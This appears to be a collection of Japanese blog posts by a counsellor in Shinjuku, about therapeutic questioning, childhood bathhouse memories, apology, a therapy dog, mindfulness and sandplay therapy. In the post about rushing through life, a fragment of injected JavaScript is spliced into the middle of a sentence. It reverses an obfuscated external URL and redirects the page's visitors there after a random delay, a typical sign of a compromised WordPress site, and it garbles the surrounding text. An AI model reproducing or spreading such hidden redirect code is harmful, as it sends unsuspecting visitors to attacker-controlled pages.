Questionnaire double barrel ♫

こんばんは、いよいよ街中が賑やかになってきましたね。私は自己管理不足のため最近休みが取れておりません。そのため賑やかな街を楽しむゆとりもなく騒がしい街をトコトコさっさと歩いています。 今日はdouble barrelな質 … “Questionnaire double barrel ♫” の続きを読む

こんばんは、いよいよ街中が賑やかになってきましたね。私は自己管理不足のため最近休みが取れておりません。そのため賑やかな街を楽しむゆとりもなく騒がしい街をトコトコさっさと歩いています。

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今日はdouble barrelな質問(1つの質問に2つの要素を交えた質問)について考えてみようと思います。カウンセリング場面で気を付けていても使ってしまうことがあり、そんな時はごめんなさいです。

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ダブルバーレルどころかトリプルバーレルな悪い質問「あなたは健康のために毎日牛乳を飲みますか」これは流石にまずいですね。訊かれた側は「牛乳は飲むけど…」「健康のため?」「毎日?」って困ってしまいます。私みたいにマシンガントーカーは「牛乳は好きだから飲むけど、週に2、3回位かなぁ」と思った通りのことを相手に伝えます。でもちょっと待った!

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疲れている時にタクシーに乗った時に「職安突っ切って文化センター通りから靖国抜けて3つ目のとこを曲がって皇居抜けて…」とか運転手さんに一気に言われるとイラッとくるし、応えるのも厭になることもあります。大体生返事で「お任せします。時間優先でお願いします」。と伝えるのがやっとです。

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カウンセリング場面においては、丁寧に1つづつ分かりやすく相手に質問できていない時、カウンセラー側の焦りがクライアントさんに伝わってしまい、望ましくない結果にもなりかねません。クライアントさんも困惑してしまいますよね。

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ところで、私はクッションが大好きで、相談室のクッションをクライアントさんに見立てて独りカウンセリングをしてみることがあります。今日は集団心理療法 笑

写真右から2番目のリスさんからも質問多すぎという困惑の表情?…ごめんなさい。

img_0955気を付けなければ!と臨床場面でゆっくりお話される方や情報収集をしてアセスメントをしなくてはならない時に急いで多くのことを質問していないかについて内省しておりました。

img_0953私の周りでは喉の風邪が流行っているので、予防のために漢方と肝機能を高める薬やビタミンをいただいて服薬してます。ケミカルではなく、ウォーキングなど健康的にしたい?いや、しなくてはと考えています。でも冬は冬眠が良いですね。どうそ、みなさまも手洗いとうがいと湯冷めに注意してご自愛下さいませ。お読みいただきありがとうございます。

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冬至と銭湯

こんにちは、いよいよ冬本番ですね。あと少しで冬至を迎えます。今日は日暮れ前の散歩中にみずみずしい柚子を見つけて唾液腺が刺激されました。そして、ここだけの話、いくつか頂戴したくもなりました。黙って人の柚子を取ってはいけない … “冬至と銭湯” の続きを読む

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こんにちは、いよいよ冬本番ですね。あと少しで冬至を迎えます。今日は日暮れ前の散歩中にみずみずしい柚子を見つけて唾液腺が刺激されました。そして、ここだけの話、いくつか頂戴したくもなりました。黙って人の柚子を取ってはいけないのでグッと我慢。でも、柚子に因んで今日は銭湯とゆず湯の話をさせて下さい。

幼少時、両親は共働きでした。母の仕事帰りに、母と兄弟で近所の銭湯に行くことが日常でした。当時の銭湯は毎月26日の風呂の日にヤクルトをくれました。銭湯から実家までは歩いて200メートルほどの距離でしたが、短い帰り道、母と一緒に近所の酒屋さんに立ち寄ったり、コインランドリーで洗濯物を乾燥機から取り出したり色々したものです。普段我が家では子どもが炭酸飲料を飲むことを禁止されていましたが、なぜか銭湯で販売しているオロナミンCを番台のお姉さんにいただいた時だけはオロナミンCを飲むことを許可してくれました。「やったぁ〜炭酸!オトナの味」と妹と2人銭湯の縁側で楽しく飲んでいたなぁ。帰り道は運が良ければ近所のお菓子屋さんでアイスクリームを買ってもらうこともありました。仕事帰りの母と話した束の間の銭湯の帰り道の会話の貴重さ、アイスクリームを買ってもらえた時に嬉しくて冷凍庫を掻き回していたんでしょう。ごめんなさい。次に行った時「アイスは決めてから冷凍庫を開けること!」の貼り紙を貼られたエピソードなど… 笑。

銭湯の帰りに母と一緒に歩いていたあの時、大人になる自分なんて全く想像つきませんでした。

母には「あのね…今日学芸会でどんぐりの役に決まったよ」と小さな報告。妹は笑って「お姉ちゃんって熱いお湯に入れなくってお湯を薄めておばさんに怒られてたよ!」密告。弟が小さい時には泣いちゃうから必ずシャンプーハットをして髪の毛を洗っていたなぁ…。今弟に話すと「僕はそんなのしてなかったし」って全否定されます。

生まれ育った近所の銭湯の近くをたまに通ると今でもくっきりと子ども時代の私たち家族の思い出がそこにはあります。

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もうすぐ冬至です。今年の冬至は12月21日です。冬至が過ぎれば、少しづつ春が近づいています。

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柚子の皮の芳香油にはクエン酸やビタミンCが含まれており冷え性や湯冷めを緩和してくれる効果があるそうです。

子ども時代の銭湯は無くなってしまったから、新宿の相談室から歩いてほんの数メートルのところにある銭湯に行ってみよう!冬至の日は洗面器を持って、銭湯が始まる前から近所の人たちと一緒に並んで?柚子の香りもフレッシュな一番風呂に入りたい。

もうひとつ香りといえば、街で見かけたローズマリーも試しにそっと触ってみるのが好きです。香りのお好みは分かれますが、ローズマリーの葉っぱを下から上に撫であげて、もう一度逆さまにそっと撫でるんです。その後、手に残った香りを嗅ぐのが大好きです。道端に生息するペパーミントは毛虫と犬猫の糞に気を付けて数枚口に入れてみて噛み噛みして下さい(誰かがプランターで育てているものは周囲を見渡してから慎重にこっそり数枚いただきましょう。許可があればなお可)。フレッシュなペパーミントをクチュクチュするのはいいですよ!そのままフレッシュハーブティーにするのもいい。うん。ハーブって偉大だなぁ。
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お読みいただきありがとうございました。

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こころからの謝罪 Sincere apology

こんばんは。今日はこころからの謝罪というテーマについて考えてみようと思います。   先日、京都大学の小さな教室で研究者の方々と愛についての学際的 (専門領域を超えた)なこじんまりとしたディスカッションに参加させ … “こころからの謝罪 Sincere apology” の続きを読む

こんばんは。今日はこころからの謝罪というテーマについて考えてみようと思います。img_1430

 

先日、京都大学の小さな教室で研究者の方々と愛についての学際的 (専門領域を超えた)なこじんまりとしたディスカッションに参加させていただく機会をいただきました。

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初めて参加させていただいた会でしたが、やはり研究者とあって私とは違います。使う言葉が「係数のかけ方がさぁ」とか「カタツムリの恋矢」とか「そのドキドキ吊り橋効果じゃん」「イデアがさぁ」とかの表現を普通にするのです。いやぁカッコいい!私にとってはもう子どもが大人の世界に入れてもらった気分でした。楽しかったです。うるさく喋ってすみませんでした。

私は高校卒業後、小さな会社で様々なイベントを企画する仕事をしていました。駅の中で行うイベントから自動車関連のイベント、会社の社長様達のセレブなイベント…。まぁこんなに沢山の方々とお逢いできる人生、ひとと異なる経験ができることというのは苦労も多いですが面白い人生だと思います。

食べ物と住まいだけさえあれば、これまでの人生を肴に引き篭って一生過ごしても良いと思うことさえあります。

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でも、現実の時は刻々と流れて行きます。昔だったらなぁと確実にエイジングを感じる日もあります。一方で、自分の中での空想に浸っていると空想の上ではいつまでも若いつもりで…。現実の時間と空想の時間の狭間で迷子になりやすい自分も感じています。

今でも忘れられないエピソードがあります。私は友人が多い方ではありません。しかし、大切な友人がいます。その友人とは歳がとても離れています。現在80歳代です。その友人とは私が21歳の頃知り合い、多くの時間を共有し、楽しいことも美味しい食事も、もちろん辛いことも…多くを共有し、語り合ってきました。友人と私の関係は永続的だと私は考えていました。しかし、ある時、些細なことから大げんかになりました。今思えば、友人は私を思い心配し過ぎてくれた故こそのけんかだったのですが、友人からとても傷付くことを言われました。私はその時、自分の人格を大切な友人から全否定された気持ちになり、それはそれは深く落ち込みました。

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ただでさえ少ない友人関係すら私には無くなってしまったと考えてどれだけ落ち込んだことか…。その時、私は深く傷ついていたけど、自分の気持ちを誤魔化してまで友人に媚びることも同じように頑なに拒否する自分もいました。

「独りで生きていくさ!」なんて強がって、新しい友達を必死に探そうともしていました。友だちやパートナーは見つけようと思って見つけられるものではないのに。

1年ほどしたある日、その友人から電話をいただきました。

前置きが長くなったけど…。その電話の内容は「私にあのけんかの時に発したひと言に対するこころからの謝罪」だったのです。私は、友人が謝ってくれたという行為そのものではなく、私を傷つけただろうひと言を友人も覚えていてくれたこと、友人はそんな自分が厭になったことを誠意をもって私に話してくれたこと、何度も迷った末の電話だったこと、私との対人関係のことを私だけでなく、友人もこころのどこかで思っていてくれたことに対して、ことばではいい表すことのできない温かい何かが湧き上がりました。

大人になると、悪いと思っていないのに「表面的に」「部分的に」謝罪をしなければならないこともあります。それはあくまで「ルーティン謝罪」であってこころからの謝罪ではありません。こころからの謝罪は、恥ずかしいさも伴うかもしれないし、自己責任を認めることでも、至らなさを認めることでもあります。

友人はそれらのことを超越して私にこころからの謝罪をくれました。

いくつになっても、時が経っても、自分の中で本当にごめんなさいを感じた時には、大切な友人のように「こころからの謝罪」が出来るような自己を熟成していきたいです。一方で自分で悪いと思わないことに表面的な謝罪はしない自分も大切にしたい。謝ることで偽りのうわべだけの関係が続くなら諦めがあってもしかたない。でも、本当に申し訳ないと思うなら、こころからの謝罪の気持ちを相手に伝える勇気を持ちたい。その謝罪から何らかの責任が生じるとしても。恥ずかしかったり、相手に赦してもらえなかったりしても。

こころからの「ごめんなさい」が言える私になりたい!

先日久しぶりにその友人とお会いして、あの世でも?また茶飲み友だちになる約束をしてきました。そんな数少ない友人をこれからも宝物ならぬ宝人にしていきたいと改めて考えた次第です。お読みいただきありがとうございました。

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こころが特急な件

こんにちは、最近天気も気温も変化が急激ですね。こんな日は何を着て外出するか迷います。 今日は「こころの特急」について考えてみたいと思います。私自身に対する警告でもあります。 交通手段もコミュニケーションも迅速になりました … “こころが特急な件” の続きを読む

こんにちは、最近天気も気温も変化が急激ですね。こんな日は何を着て外出するか迷います。

今日は「こころの特急」について考えてみたいと思います。私自身に対する警告でもあります。

交通手段もコミュニケーションも迅速になりました。改札にはほとんど駅員さんもいないし、Suicaだし、新幹線の切符もネットで手に入ります。高速道路もETC利用者の方がほとんどでしょう。便利な世の中です。毎週、移動時の新幹線は「のぞみ」が止まらない駅なので「ひかり」を利用しております。新幹線ホームで待っている時「こだま」はお見かけしないのですが、「のぞみ」は真ん中の線路をもうこれはすざましい速度と音で通過していきます。「シューンーシューンゴー」っていう感じです。

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あぁ、のぞみって速くてなんてカッコいい!と思うんです。

その一方で、ホームでの話し声はのぞみ通過とともに掻き消されてしまうか、もっと大きい声で話すかのどちらかになります。

のぞみという名の「 ホノボノdestroyer\(//∇//)\   涙」

そこで私も反省しました。通過するのぞみのようになっていないか。人生焦っていないかなぁ。大切に時間を過ごせているのかなぁ。食事の速度も早いし、趣味のピアノも上手になりたくて、つい急いてしまいます。

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ピアノ講師に教授いただきました。「上手くなりたいならゆっくり丁寧に弾け!全体を通すんじゃなくて、出来ないところを何度もゆっくり、もっと、まだまだゆっくり弾け。乱暴でピアノが可哀想だ」と…。ピアノ講師のご指摘通りです。臨床場面でもクライエント様に同じことを求めている可能性に関して内省いたしました。

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私のように生き急いでいるタイプをアメリカ人の医師であるフリードマン先生は(Friedman)は「タイプA性格」と分類しています。タイプA性格傾向(熱血だけど短気でせっかちなタイプ) は虚血性心疾患などによる突然死も危惧されるそうです。その他にはのんびりマイペースな「タイプB性格」、心配性で悪性新生物と親和性のある心配性で神経質な「タイプC性格」などがあるそうです。

先述のピアノ講師は曲によってタイプA的・B的・C的をチャンポンさせたり使い分けた演奏ができます。「どうしたらそんな演奏が出来るのでしょうか」と聴いてみたところ「徹底的にゆっくり部分練習すること」だそうです。multipleだ!精度の悪い特急みたいなタイプA 的キャラが顕著である私にとって青春18切符的なゆっくりさに耐えることは至難の技!

人にはだれでも多面性があります。ですからある特定の型番だけに当てはめられたり、何か決めつけられるのはイヤなものです。私だって多面的になりたい。ある時には迅速な思考でシャープに見立てが出来たり、ある時はのんびり過ごすことができるたり、ある時には優しくて心配性過ぎやしないかい?そんな臨床がしたい。

そんな多面的なスキルを養うためにはDo more ではなくてSlow toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}down こそが重要だということなのでしょう。外に出て自分の一歩を振り返ること、いつも起こっている毎日のあたりまえの生活を大切にすること、外食ばかりではなく時にはのんびり料理をしたり…。

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料理は苦手だし、性格自体を変えることは難しいことだけど、指摘してくれる誰かがいる環境に感謝して、生涯発達理論の考えに基づいて私も成長出来ることを信じてみよう。ストレスを感じない鈍感さではなく、のんきでマイペースでストレスに対処出来る力を今からでも身につけてみたいと改めて考えました。

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でもね、こんなきれいごとを言っても…現実は厳しい。生活のために時間や日々の雑事に追われてばかりです。いつか…ゆっくり休みを取って、のんびり旅に出たり花を愛でたりしたいものです。
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お読みいただきありがとうございました。加湿器の恋しい季節です。ウイルス対策には不織布のマスク、喉の乾燥には不織布ではなく昔ながらのガーゼのマスクが良いらしいです。是非使い分けをお試ししてみて下さいね☆

 

 

 

 

 

 

 

 

 

 

 

 

 

チュッパチャップス

こんばんは、大分日が短くなって参りました。新宿は人もネオンもキラキラで伊勢丹はクリスマスのディスプレイも豪華です。その一方で、ひとのこころはいつもキラキラとは限らなくて、クリスマスだってすべての方が楽しく迎えられるなんて … “チュッパチャップス” の続きを読む

こんばんは、大分日が短くなって参りました。新宿は人もネオンもキラキラで伊勢丹はクリスマスのディスプレイも豪華です。その一方で、ひとのこころはいつもキラキラとは限らなくて、クリスマスだってすべての方が楽しく迎えられるなんていうことはありえない。キラキラというお祭り気分やイルミネーションに押しつぶされている人も時もあることをいつもこころの奥にしまっています。

ところで、今日は「お任せすること」について考えてみようと思います。おまかせでとか、お任せコースということばは、色々な場面で目にします。

例えばレストランでは、シェフのお任せコース。価格と大体のボリュームが記載してありますが、あとはレストランに行ってからのお楽しみ。


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ピアノのコンサートでのアンコール、これも演者のお任せでしょう。アンコールが自分の大好きな曲だったときにはもう大興奮です。

そして私が理想のしているカウンセリングはというと…。クライエントさんとの2人だけの時間を「2人で生じる場の展開」にお任せすることです。決してサボっている訳ではありません。今日はこんな展開になるかなぁ、前回からのTo Doももちろん確認しています。その中で敢えて、2人の関係から生じる空気感や流れる時間を一番大切にしたいと考えています。

チュッパチャプスというキャンディをご存知でしょうか。その昔、「30分お任せキャンディ」というキャッチフレーズがあったのです。

なんと素晴らしいキャッチフレーズでしょう!1本40円で30分!ところで30分お任せというのはわかったけど、目的語がない。何をお任せするんだろう。チュッパチャップスを食べながら空想すること?ファンタジーに耽ることなのかな。いつかマインドフルネスの練習に使ってみなさまの意見を聴いてみたいと思います。

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何か分からない時間を誰かにお任せすること…コンサートもオペラも演劇もデートも、食事も、カウンセリングも、ピアノのレッスンも夜のお仕事も風俗のお仕事もそうかもしれません。

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カウンセリングという異次元の限られた、たった一つのその時間と力動に全力を注いでカウンセリングを提供したいなぁ。クライエントさんとの2人の時間を大切に出来たらなぁ。と色々な味のチュッパチャップスを食べながら真面目に考えておりました。

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向寒の折、くれぐれもご自愛ください。喉の乾燥対策には是非チュッパチャップスをおひとついかがでしょうか。相談室のチュッパチャップスもご自由にお持ちください。お読みいただきありがとうございました。

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えぇっ(´⊙ω⊙`)

こんばんは。最近めっきり寒くなりましたね。マスク姿の方も多くお見かけします。もう一の酉を迎える季節になっておりました。小さい頃の11月はもっと寒かったと記憶しています。10年前には確実にダウンを羽織っていたと思います。子 … “えぇっ(´⊙ω⊙`)” の続きを読む

こんばんは。最近めっきり寒くなりましたね。マスク姿の方も多くお見かけします。もう一の酉を迎える季節になっておりました。小さい頃の11月はもっと寒かったと記憶しています。10年前には確実にダウンを羽織っていたと思います。子どもの頃から大学祭やお祭りに行くことは大好きでした。

浅草の鷲神社の酉の市には毎年行っていました。ここしばらくは、なかなか行けなかったのですが、友人と一緒に行く機会がありました。熊手といえば、八百敏、名物の熊手を作ってくれている葛飾区青戸の熊手職人の清田さん一家のファンなのです。清田さんはその昔UNIQLOのヒートテックのCMにもでたことがあります。今年は熊手を買うつもりはなかったけれど、清田さんのお父様が作られた立派な熊手を見て「新宿の千咲さんですよね」なんて覚えていてくれて思わず嬉しくて買ってしまいました。

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ここ数日は不思議な出会いをいただきました。

先日北陸の駅でとても気品のあるご婦人が「あの方達(外国の方)が京都に行きたいようなんだけど、困っているみたいだから切符を見て差し上げて」とのことで、英語は全く出来ない私は精一杯のジェスチャーで10分の白鷺ではなくて、16分のサンダーバードに乗って下さい」などと頑張ってご案内いたしました。その後、先ほどの上品なご婦人と指定席も隣りだったので、私の知らない歴史のことなどを教えていただきました。連絡先を交換をして、また再会出来る日を楽しみに乗り換えました。

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いつも楽しみにしているお弁当「湖北のおはなし」は売り切れで、第2希望のお弁当をいただきながらパソコンで新幹線の中で近々に行われる発表用の資料など作成しておりました。

すると、新幹線でお隣りに座られた方から 「ひょっとして心的外傷や解離のこと勉強されていらっしゃるんですか」と訊ねられました。私の顔に解離とか外傷とか何か書いてあるのかもと大変驚きましたが「はい。でもまだ資料が出来上がらなくて」と苦笑して応えました。彼女も心理学の本をお持ちで、その後大学院時代の担当教授の話題にもなり、最後にはお手製のケーキまでいただきました。

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私が子どもの時と時代はすっかり異なり、知らない誰かに話しかける、話掛けられるという機会自体が減りました。忙しいから、知らない人と話すのはハイリスクだから、危ない環境だからなどの理由で道で誰かが倒れてもケンカしていても多くの方々は見ないように通ります。私もお腹が空いていたりデートだったりその後のアポイントがあれば同じように素通りするでしょう。でもこんな怪しげな?私に勇気を持って話しかけていただき、同じ心理の世界や解離の世界に興味を持ってくれている方に、たまたまですがお会い出来たことに感謝しています。

湖北のおはなしが売切れだったのは残念ですが、いただいた手作りケーキの食べごろが今日からとお聴きしたので紅茶など淹れて楽しみにいただこうと思います。

素敵な出会いに感謝しお休みなさい〜zzz。

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お読みいただきありがとうございます。

 

 

 

security blanket

こんばんは、すっかり秋も深まりおでんの恋しい時期になりました。 地域によってはインフルエンザアラートも出ています。私は先日病院でワクチン接種をしてまいりました! これでインフルになってクライエントさんにご迷惑をおかけしな … “security blanket” の続きを読む

こんばんは、すっかり秋も深まりおでんの恋しい時期になりました。

地域によってはインフルエンザアラートも出ています。私は先日病院でワクチン接種をしてまいりました!
これでインフルになってクライエントさんにご迷惑をおかけしないぞ!

こんな寒い日の夜のブログはあたたかいお話ができたらと思います。

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このブランケットはkashwereというブランドのブランケットです。大学院修了の際に後輩からいただきました。ありがとうAさん💌
もうこれがモッコモコでフッワフワなんですね。寒い日にくるまっていると寝てしまいます。それだけじゃなくて淋しいときにはこころまであたためてくれます。

もうひとつおすすめがこちら。

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BEREFOOTDREAMSとRonHermannのコラボパーカーです。

ご近所さんに「パジャマ着てどこ行くの」って言われました。
仕事中は着られないけどBEREFOOTDREAMSとかUGGのブーツとか大好きです。もっふもふもっこもこお風呂もバブル。ついでに愛犬もモコモコ。

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もっこもこに暖かく優しくハグしてハフハフしながら温かくなっています。

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是非みなさまも物理的にも精神的にもsecure blanketを見つけてください。

寒暖の差が大きくなって参りました。お風邪などひかれないようご自愛ください。

お読みいただきありがとうございました。

 

Tassies Lil Domingo

今年10歳になるオーストラリアンラブラドゥードルという犬種の日本では未公認、言い換えるとミックス犬なのですが、オーストラリアのタスマニアから来たDomingo(ドミンゴ)という犬と生活を共にしています。 「こころに日曜日 … “Tassies Lil Domingo” の続きを読む

今年10歳になるオーストラリアンラブラドゥードルという犬種の日本では未公認、言い換えるとミックス犬なのですが、オーストラリアのタスマニアから来たDomingo(ドミンゴ)という犬と生活を共にしています。

「こころに日曜日を」与えてくれるような存在になって欲しい気持ちでドミンゴと名付けました。オーストラリアンラブラドゥードルの長所はまず、毛が抜け落ちません。体臭が少なく、性格はフレンドリーです。アレルギーフレンドリーでもあります。
ここ数年、介護業界でもラブラドゥードルの特性を活かしたアニマルセラピーが盛んに行われてます。
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私は現在週に数日北陸の精神病院で働いており、周囲の理解もいただき、ドミンゴは警察犬訓練士の先生と一緒に週に3回病院でセラピー犬として働いています。

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患者さまには動物が好きな方も嫌いな方もいらっしゃいます。訓練の途中では先生に耳を引っ張られたり、足裏をつねられたり、テッシュをぶつけられたりする訓練過程を見ていて、飼い主としてはこころが痛みました。

しかしドミンゴがいらっしゃる患者さまに可愛がってもらったり、犬がお嫌いな方に危害を加えないためには大切な訓練でした。

今は立派なセラピー犬になりました。共に歩んでくれたドミンゴに感謝しています。彼女もいい年になりました。
来年にはセラピー犬を引退してばぁばのところでゆっくり過ごす予定です。

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動物と人間の絆についての臨床を行うことが私の心理士になるきっかけでもあり、長年の夢でもあったので、夢が叶ったことに感謝し、ドミンゴも私もtherapy中は一生懸命、プライベートでは思いっきり楽しみながらこれからもドミンゴと一緒に頑張っていく所存です。

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お読みいただきありがとうございました。

 

キンモクセイの香り

キンモクセイの香りを嗅ぐと澄み渡った空と秋を感じて、凛とした気分になります。 あんなに小さな小さなオレンジ色の花からどうしてあんなに遠くまで香りが届くのだろうと不思議に思います。 北陸は今キンモクセイが満開です。 愛犬の … “キンモクセイの香り” の続きを読む

キンモクセイの香りを嗅ぐと澄み渡った空と秋を感じて、凛とした気分になります。

あんなに小さな小さなオレンジ色の花からどうしてあんなに遠くまで香りが届くのだろうと不思議に思います。

北陸は今キンモクセイが満開です。
愛犬の散歩中もキンモクセイの芳しい香りがするので愛犬と一緒にキンモクセイの在り処を探しに行くのですが、思ったより遠く高いところで咲いています。

キンモクセイを見つけて鼻を花に近づけて思いっきり香りを嗅ぐのですが、そうすると意外と香らないんです。

むしろ少し離れてキンモクセイのことは考えないで歩いている時の方が、香りがふわーっと漂って入ってきます。え、キンモクセイどこにあるんだろう!と探すことが期間限定の楽しみになっています。

キンモクセイに限ったことではないけれど、何かの匂いや香りと思い出って非常に結びつきやすいですよね。

キンモクセイの香りは私にとって「子どもの時の運動会」や「どこまでも澄み渡る高い空」「大切な友人たち」を思い出させてくれます。

これからも一歩ずつ人生を歩んでいく中で私にとってキンモクセイは多くの思い出のメッセージを送り続けてくれるのだと思います。

私たち現代人はとても多忙です。その多忙な日々で大切なことをたくさん忘れてしまうことも多いかもしれません。

たった今ご自身に起こっている現状やご自身の気持ちを「観察」して「体験」して「言葉にする」ことを「マインドフルネス」といい弁証法的行動療法スキル習得の上では大切にします。

思うままのことに価値判断せず、こころを研ぎ澄まし、自分の感覚を思いっきり感じてみることはとても素敵なことです。

是非、お好きな花を見つけたら、お好きな木を見つけたら、美味しい食べ物をいただいたら「マインドフル」に心も研ぎ澄まして「ご自身の気持ち」を感じて味わってみるのはいかがでしょうか。

キンモクセイがいつもの季節にいつもの場所に咲いていてくれることに感謝し、たった今のキンモクセイのふわりと漂う香りをこころいっぱい味わうことで、私もたった今を生きていること、幸せなことだけでなく大変なことも大切にしていきたいなぁと考えさせていただきました。

キンモクセイさんありがとうございます。

そしてお読みいただきありがとうございました。

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箱庭ってなぁに?

W720×D570×H14mmの国際規格の箱があります。 箱の内部は水色に塗ってあります。その箱の中の砂を触ったり動かしたり、中にお好きなアイテムを入れていただく言葉を使わないセラピーのひとつです。 湖や海のようにしてい … “箱庭ってなぁに?” の続きを読む

W720×D570×H14mmの国際規格の箱があります。

箱の内部は水色に塗ってあります。その箱の中の砂を触ったり動かしたり、中にお好きなアイテムを入れていただく言葉を使わないセラピーのひとつです。

湖や海のようにしていただいたり、山などの風景などを作っていただくことも出来ます。

ピカルディサードでは潤砂という水を使わずに造形を楽しめる砂と、南国気分なクリスタルサンドの2種類の砂をご用意しております。

 

hakoniwa1※潤砂

hakoniwa2※クリスタルサンド
クライエントさんによっては「砂」の持つ感覚が嫌いな方や、箱庭に恐怖を感じる方もいらっしゃいます。

箱庭に限ったことではありませんが、クライエントさんのこころにグサっと突き刺さることを、専門用語で「侵襲性が高い」と表現します。

ですからどんな心理療法も慎重に見守られた中で行うことを心がけ、いざという時には中止して速やかにクライエントさんの恐怖や不快感情を除去出来るように心理士は努めなければなりません。

クライエントさんのこころがいつもの状態より少しだけ子どもっぽくなることを「退行」と言います。

退行にはいくつかの種類があります。

カウンセリング場面で意図的に退行が促進されるように働きかけることを治療的退行といいます。退行の加減は大変難しく、カウンセラーである私もクライエントさんと一緒の世界観にご案内していただいているような気持ちになれなければカウンセリングでの深まりは難しいと私は考えています。

その一方でクライエントさんとカウンセラーの関わりが深くなりすぎて、私がカウンセラーという立場まで見失ってしまうと、面接時間を冷静にチェックできなくなってしまたり、クライエントさんとの感覚的な時間や情動の中で一緒に迷子になってしまうこともあります。退行はカウンセラーにも一緒に起こり得ます。しかし、そこは私はプロにならなくてはなりません。次のクライエントさんをお待たせしてはいけないし、退行をしすぎることでクライエントさんもパワーを使いすぎて帰り道で怪我でもしてしまったら大変です。退行には良性のものと悪性のもの治療に必要なものなど色々な種類があります。

カウンセラーとクライエントがある程度信頼関係におかれた中で生じる「遊び」や「ゆとり」として退行が生じることは私にとって大歓迎です。

今日のテーマである箱庭もクライエントさんの退行を促進する療法のひとつかも知れませんし、箱庭はハイリスクな療法のひとつかもしれません。

カウンセラーが支持的・共感的なことなんて心理士としては当たり前だと考えています。「支持」や「共感」は常にベースに持ちながら、クライエントさんの理解を深めるための「退行」を扱う勇気があることも時には心理士にとって必要なのかもしれないと私は考えています。

臨床心理士や医師の中には箱庭が大っ嫌いな方々もいらっしゃいます。
その理由を訊くとクライエントさんにアイテムを投げられてカウンセラー自身が危険な体験をしたり、クライエントさんに危険な退行をされたからとのことでした。

実際、勤務先の病院では心理科一同から箱庭を退けるように指示を受けてしまい、病院内では私の面接室に所狭し…箱庭棚とアイテムが並んでおります。

そして私が箱庭をしているというとユング派ですか?とか言われたり…。ユングは好きです。でも、箱庭=ユングなんて発想がpoorだなぁって私は思います。箱庭療法のスタンダードな使い方は何度も箱庭をしていく中でクライエントさんの変化を見ていくことかもしれません。

しかし、私はスタンダードではない様々な使い方さえもセラピーの中で積極的にご提案させていただきます。

実際にカウンセラーが箱庭を使うかどうかは別として大学院の相談室や心理療法の相談室に箱庭の設備があることは大切だと私は考えております。

子ども逹に大切なアイテムを埋められてしまったり、箱庭どころか、そこいら中の床にアイテムを置いて表現してくれるクライエントさんも、お話出来なくても非言語な箱庭の中だからこそ対話出来ることだってあります。

私自身も独り箱庭を作成してカタルシスを得ることもあります。

ということで!
是非、秋の夜長、芸術の秋に箱庭療法はいかがですか。
秋も深まり寒さも増して参りました。お風邪などひかれませんように。
お読みいただきありがとうございました。

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